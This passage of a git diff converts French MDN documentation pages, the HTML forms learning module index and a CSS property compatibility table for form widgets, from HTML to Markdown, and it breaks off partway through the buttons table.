HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/forms/index.md b/files/fr/learn/forms/index.md index 76832228f3..9f5717dd41 100644 --- a/files/fr/learn/forms/index.md +++ b/files/fr/learn/forms/index.md @@ -11,70 +11,56 @@ tags: translation_of: Learn/Forms original_slug: Web/Guide/HTML/Formulaires --- -<p>{{learnSidebar}}</p> +{{learnSidebar}} -<p>Ce guide est constitué d'une série d'articles qui vous aideront à maîtriser les formulaires HTML. Les formulaires HTML sont des outils très puissants pour interagir avec l'utilisateur ; toutefois, à cause de raisons historiques et techniques, il n'est pas forcément évident de savoir comment les utiliser de manière optimale. Nous allons aborder tous les aspects des formulaires HTML, de la structure à la décoration, de la gestion des données aux widgets sur-mesure.</p> +Ce guide est constitué d'une série d'articles qui vous aideront à maîtriser les formulaires HTML. Les formulaires HTML sont des outils très puissants pour interagir avec l'utilisateur ; toutefois, à cause de raisons historiques et techniques, il n'est pas forcément évident de savoir comment les utiliser de manière optimale. Nous allons aborder tous les aspects des formulaires HTML, de la structure à la décoration, de la gestion des données aux widgets sur-mesure. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Avant de vous lancer dans ce module, vous devez au moins avoir travaillé notre <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>. À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour les <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">widgets natifs pour formulaire</a>.</p> +Avant de vous lancer dans ce module, vous devez au moins avoir travaillé notre [Introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML). À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour les [widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs). -<p>Le reste du module est toutefois un peu plus difficile — il est facile de placer des widgets de formulaire dans une page, mais vous ne pourrez pas en faire vraiment quelque chose sans utiliser quelques fonctionnalités plus avancées, les CSS et le JavaScript. C'est pourquoi, avant de regarder ces autres parties, nous vous recommandons de faire un détour et de procéder d'abord à l'étude des <a href="/fr/Apprendre/CSS/Introduction_à_CSS">CSS</a> et du <a href="/fr/docs/Apprendre/JavaScript">JavaScript</a>.</p> +Le reste du module est toutefois un peu plus difficile — il est facile de placer des widgets de formulaire dans une page, mais vous ne pourrez pas en faire vraiment quelque chose sans utiliser quelques fonctionnalités plus avancées, les CSS et le JavaScript. C'est pourquoi, avant de regarder ces autres parties, nous vous recommandons de faire un détour et de procéder d'abord à l'étude des [CSS](/fr/Apprendre/CSS/Introduction_à_CSS) et du [JavaScript](/fr/docs/Apprendre/JavaScript). -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur/tablette/autre appareil sur lequel vous n'avez pas la possiblité de créer vos propres fichiers, vous pourrez essayer (la plupart) des exemples de code sur un programme de codage en ligne comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur/tablette/autre appareil sur lequel vous n'avez pas la possiblité de créer vos propres fichiers, vous pourrez essayer (la plupart) des exemples de code sur un programme de codage en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Éléments_de_base">Éléments de base</h2> +## Éléments de base -<dl> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></dt> - <dd>Le premier article de notre série vous donne une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et le comment de l'envoi des données à un serveur.</dd> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML" title="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></dt> - <dd>Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.</dd> -</dl> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) + - : Le premier article de notre série vous donne une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et le comment de l'envoi des données à un serveur. +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML "/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML") + - : Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire. -<h2 id="Quels_sont_les_widgets_pour_formulaire_disponibles">Quels sont les widgets pour formulaire disponibles ?</h2> +## Quels sont les widgets pour formulaire disponibles ? -<dl> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></dt> - <dd>Nous examinons maintenant en détail les fonctionnalités des widgets pour formulaire, en regardant quelles sont les options disponibles pour collecter différentes types de données.</dd> -</dl> +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) + - : Nous examinons maintenant en détail les fonctionnalités des widgets pour formulaire, en regardant quelles sont les options disponibles pour collecter différentes types de données. -<h2 id="Validation_et_soumission_des_données_de_formulaires">Validation et soumission des données de formulaires</h2> +## Validation et soumission des données de formulaires -<dl> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">Envoi des données de formulaire</a></dt> - <dd>Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.</dd> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Validation des données de formulaire</a></dt> - <dd>Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir.</dd> -</dl> +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) + - : Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire. +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) + - : Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir. -<h2 id="Guides_avancés">Guides avancés</h2> +## Guides avancés -<dl> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets de formulaires personnalisés</a></dt> - <dd>Nous allons voir quelques cas où les widgets natifs ne donnent pas ce dont vous avez besoin, pour des raisons fonctionnelles ou de style par exemple. Dans de tels cas, vous pouvez avoir besoin de construire vous même un widget de formulaire en dehors du HTML brut. Cet article explique comment faire, ainsi que les considérations à prendre en compte ce faisant, le tout à l'aide de l'étude d'un cas particulier.</dd> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></dt> - <dd>Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».)</dd> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></dt> - <dd>Cet article couvre les détections de fonctionnalité, etc. Elles doivent être redirigées dans le module de tests croisés entre navigateurs, car la même problématique y sera mieux traitée.</dd> -</dl> +- [Comment construire des widgets de formulaires personnalisés](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) + - : Nous allons voir quelques cas où les widgets natifs ne donnent pas ce dont vous avez besoin, pour des raisons fonctionnelles ou de style par exemple. Dans de tels cas, vous pouvez avoir besoin de construire vous même un widget de formulaire en dehors du HTML brut. Cet article explique comment faire, ainsi que les considérations à prendre en compte ce faisant, le tout à l'aide de l'étude d'un cas particulier. +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) + - : Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) + - : Cet article couvre les détections de fonctionnalité, etc. Elles doivent être redirigées dans le module de tests croisés entre navigateurs, car la même problématique y sera mieux traitée. -<h2 id="Guides_de_mise_en_forme_des_formulaires">Guides de mise en forme des formulaires</h2> +## Guides de mise en forme des formulaires -<dl> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></dt> - <dd>Cet article est une introduction à la mise en forme des formulaires à l'aide des CSS, y compris tous les éléments de base qu'il est nécessaire de connaître pour les tâches de décoration élémentaires.</dd> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></dt> - <dd>Dans cet article, nous regarderons des techniques de mise en forme plus avancées qu'il est nécessaire d'utiliser pour opérer sur les éléments les plus difficiles à traiter.</dd> - <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Tableau de compatibilité des propriétés entre widgets de formulaire</a></dt> - <dd>Ce dernier article fournit un référentiel pratique vous permettant de rechercher quelles propriétés des CSS sont compatibles avec tel ou tel élément de formulaire.</dd> -</dl> +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) + - : Cet article est une introduction à la mise en forme des formulaires à l'aide des CSS, y compris tous les éléments de base qu'il est nécessaire de connaître pour les tâches de décoration élémentaires. +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) + - : Dans cet article, nous regarderons des techniques de mise en forme plus avancées qu'il est nécessaire d'utiliser pour opérer sur les éléments les plus difficiles à traiter. +- [Tableau de compatibilité des propriétés entre widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) + - : Ce dernier article fournit un référentiel pratique vous permettant de rechercher quelles propriétés des CSS sont compatibles avec tel ou tel élément de formulaire. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTML/Element#Forms">Référentiel pour éléments de formulaire HTML</a></li> - <li><a href="/fr/docs/Web/HTML/Element/input">Référentiel pour les types <input> en HTML</a></li> -</ul> +- [Référentiel pour éléments de formulaire HTML](/fr/docs/Web/HTML/Element#Forms) +- [Référentiel pour les types \<input> en HTML](/fr/docs/Web/HTML/Element/input) diff --git a/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md b/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md index 5dea78fc0c..e4193009bc 100644 --- a/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md +++ b/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.md @@ -13,39 +13,36 @@ tags: translation_of: Learn/Forms/Property_compatibility_table_for_form_controls original_slug: Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets --- -<div>{{learnsidebar}}{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</div> +{{learnsidebar}}{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}} -<p>Les tables de compatibilité suivantes tentent de résumer l'état de la prise en charge des CSS par les formulaires HTML. Eu égard à la complexité des CSS et des formulaires HTML, ces tables ne peuvent pas être considérées comme un élément de référence parfait. Toutefois, elles vous donneront un bon aperçu de ce qui peut et de ce qui ne peut pas être fait, ce qui vous aidera à apprendre comment faire les choses.</p> +Les tables de compatibilité suivantes tentent de résumer l'état de la prise en charge des CSS par les formulaires HTML. Eu égard à la complexité des CSS et des formulaires HTML, ces tables ne peuvent pas être considérées comme un élément de référence parfait. Toutefois, elles vous donneront un bon aperçu de ce qui peut et de ce qui ne peut pas être fait, ce qui vous aidera à apprendre comment faire les choses. -<h2 id="Comment_lire_les_tables">Comment lire les tables</h2> +## Comment lire les tables -<h3 id="Valeurs">Valeurs</h3> +### Valeurs -<p>Pour chaque propriété, il y a quatre valeurs possibles :</p> +Pour chaque propriété, il y a quatre valeurs possibles : -<dl> - <dt>OUI</dt> - <dd>La prise en charge de la propriété est raisonnablement cohérente d'un navigateur à l'autre. Il se peut que vous soyez encore confronté à des effets collatéraux étranges dans certains cas limites.</dd> - <dt>PARTIEL</dt> - <dd>Bien que la propriété soit acceptée, vous pouvez fréquemment être confronté à des effets collatéraux bizarres ou à des incohérences. Vous devriez probablement éviter ces propriétés si vous n'avez pas d'abord maîtrisé ces effets secondaires.</dd> - <dt>NON</dt> - <dd>La propriété ne fonctionne tout simplement pas ou est si incohérente qu'elle n'est pas fiable.</dd> - <dt>N.A.</dt> - <dd>La propriété n'a aucune signification pour ce type de widget.</dd> -</dl> +- OUI + - : La prise en charge de la propriété est raisonnablement cohérente d'un navigateur à l'autre. Il se peut que vous soyez encore confronté à des effets collatéraux étranges dans certains cas limites. +- PARTIEL + - : Bien que la propriété soit acceptée, vous pouvez fréquemment être confronté à des effets collatéraux bizarres ou à des incohérences. Vous devriez probablement éviter ces propriétés si vous n'avez pas d'abord maîtrisé ces effets secondaires. +- NON + - : La propriété ne fonctionne tout simplement pas ou est si incohérente qu'elle n'est pas fiable. +- N.A. + - : La propriété n'a aucune signification pour ce type de widget. -<h3 id="Rendu">Rendu</h3> +### Rendu -<p>Pour chaque propriété il y a deux rendus possibles :</p> +Pour chaque propriété il y a deux rendus possibles : -<dl> - <dt>N (Normal)</dt> - <dd>Indique que la propriété est appliquée telle quelle.</dd> - <dt>A (Altéré)</dt> - <dd>Indique que la propriété est appliquée avec la règle supplémentaire ci-dessous :</dd> -</dl> +- N (Normal) + - : Indique que la propriété est appliquée telle quelle. +- A (Altéré) + - : Indique que la propriété est appliquée avec la règle supplémentaire ci-dessous : -<pre class="brush: css">* { +```css +* { /* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur WebKit. */ -webkit-appearance: none; @@ -55,1938 +52,2125 @@ original_slug: Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_ /* Ceci désactive l'aspect et le comportement natif sur plusieurs divers navigateurs y compris Opera, Internet Explorer et Firefox */ background: none; -}</pre> +} +``` -<h2 id="Tables_de_compatibilité">Tables de compatibilité</h2> +## Tables de compatibilité -<h3 id="Comportements_globaux">Comportements globaux</h3> +### Comportements globaux -<p>Certains comportements sont communs à de nombreux navigateurs au niveau global :</p> +Certains comportements sont communs à de nombreux navigateurs au niveau global : -<dl> - <dt>{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}</dt> - <dd>L'utilisation de l'une de ces propriétés peut désactiver partiellement ou totalement l'aspect natif des widgets sur certains navigateurs. Prudence lorsque vous les utilisez.</dd> - <dt>{{cssxref("line-height")}}</dt> - <dd>Cette propriété est prise en charge de manière non cohérente d'un navigateur à l'autre et vous devriez l'éviter.</dd> - <dt>{{cssxref("text-decoration")}}</dt> - <dd>Cette propriété n'est pas prise en charge par Opera sur les widgets de formulaire.</dd> - <dt>{{cssxref("text-overflow")}}</dt> - <dd>Opera, Safari et IE9 ne prennent pas en charge cette propriété sur les widgets de formulaire.</dd> - <dt>{{cssxref("text-shadow")}}</dt> - <dd>Opera ne prend pas en charge {{cssxref("text-shadow")}} sur les widgets de formulaire et IE9 ne le prend pas du tout en charge.</dd> -</dl> +- {{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}} + - : L'utilisation de l'une de ces propriétés peut désactiver partiellement ou totalement l'aspect natif des widgets sur certains navigateurs. Prudence lorsque vous les utilisez. +- {{cssxref("line-height")}} + - : Cette propriété est prise en charge de manière non cohérente d'un navigateur à l'autre et vous devriez l'éviter. +- {{cssxref("text-decoration")}} + - : Cette propriété n'est pas prise en charge par Opera sur les widgets de formulaire. +- {{cssxref("text-overflow")}} + - : Opera, Safari et IE9 ne prennent pas en charge cette propriété sur les widgets de formulaire. +- {{cssxref("text-shadow")}} + - : Opera ne prend pas en charge {{cssxref("text-shadow")}} sur les widgets de formulaire et IE9 ne le prend pas du tout en charge. -<h3 id="Champs_texte">Champs texte</h3> +### Champs texte <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser <code>-webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche.</li> - <li>Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser <code>-webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche.</li> - <li>Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser <code>-webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche.</li> - <li>Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> - <ol> - <li>Si la propriété {{cssxref("border-color")}} n'est pas mentionnée, certains navigateurs fondés sur WebKit appliqueront la propriété {{cssxref("color")}} aussi bien à la bordure qu'à la police avec l'élément {{HTMLElement("textarea")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Oui</td> - <td>Oui</td> - <td>Voir la note à propos de {{cssxref("line-height")}}</td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td>Voir la note à propos de Opera</td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 prend en charge cette propriété uniquement sur les éléments {{HTMLElement("textarea")}}, alors que Opera ne la prend en charge que sur les champs texte sur une ligne.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser<code> -webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser<code> -webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li> - <li>Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent + apparence et comportement natifs pour les champs de recherche. Par + conséquent, il est nécessaire d'utiliser + <code>-webkit-appearance:none</code> pour pouvoir appliquer cette + propriété aux champs de recherche. + </li> + <li> + Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à + moins que <code>background:none</code> ne soit utilisé. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent + apparence et comportement natifs pour les champs de recherche. Par + conséquent, il est nécessaire d'utiliser + <code>-webkit-appearance:none</code> pour pouvoir appliquer cette + propriété aux champs de recherche. + </li> + <li> + Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à + moins que <code>background:none</code> ne soit utilisé. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent + apparence et comportement natifs pour les champs de recherche. Par + conséquent, il est nécessaire d'utiliser + <code>-webkit-appearance:none</code> pour pouvoir appliquer cette + propriété aux champs de recherche. + </li> + <li> + Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à + moins que <code>background:none</code> ne soit utilisé. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> + <ol> + <li> + Si la propriété {{cssxref("border-color")}} n'est pas + mentionnée, certains navigateurs fondés sur WebKit appliqueront la + propriété {{cssxref("color")}} aussi bien à la bordure qu'à + la police avec l'élément {{HTMLElement("textarea")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Oui</td> + <td>Oui</td> + <td>Voir la note à propos de {{cssxref("line-height")}}</td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td>Voir la note à propos de Opera</td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + IE9 prend en charge cette propriété uniquement sur les éléments + {{HTMLElement("textarea")}}, alors que Opera ne la prend en + charge que sur les champs texte sur une ligne. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent + apparence et comportement natifs pour les champs de recherche. Par + conséquent, il est nécessaire d'utiliser<code> + -webkit-appearance:none</code + > + pour pouvoir appliquer cette propriété aux champs de recherche. Sous + Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que + <code>background:none</code> ne soit utilisé. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent + apparence et comportement natifs pour les champs de recherche. Par + conséquent, il est nécessaire d'utiliser<code> + -webkit-appearance:none</code + > + pour pouvoir appliquer cette propriété aux champs de recherche. Sous + Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que + <code>background:none</code> ne soit utilisé. + </li> + <li> + Sur Opera la propriété {{cssxref("border-radius")}} n'est + appliquée que si une bordure est explicitement définie. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Partiel</td> + <td> + <ol> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + </tbody> </table> -<h3 id="Boutons">Boutons</h3> +### Boutons <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> - <ol> - <li>Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> 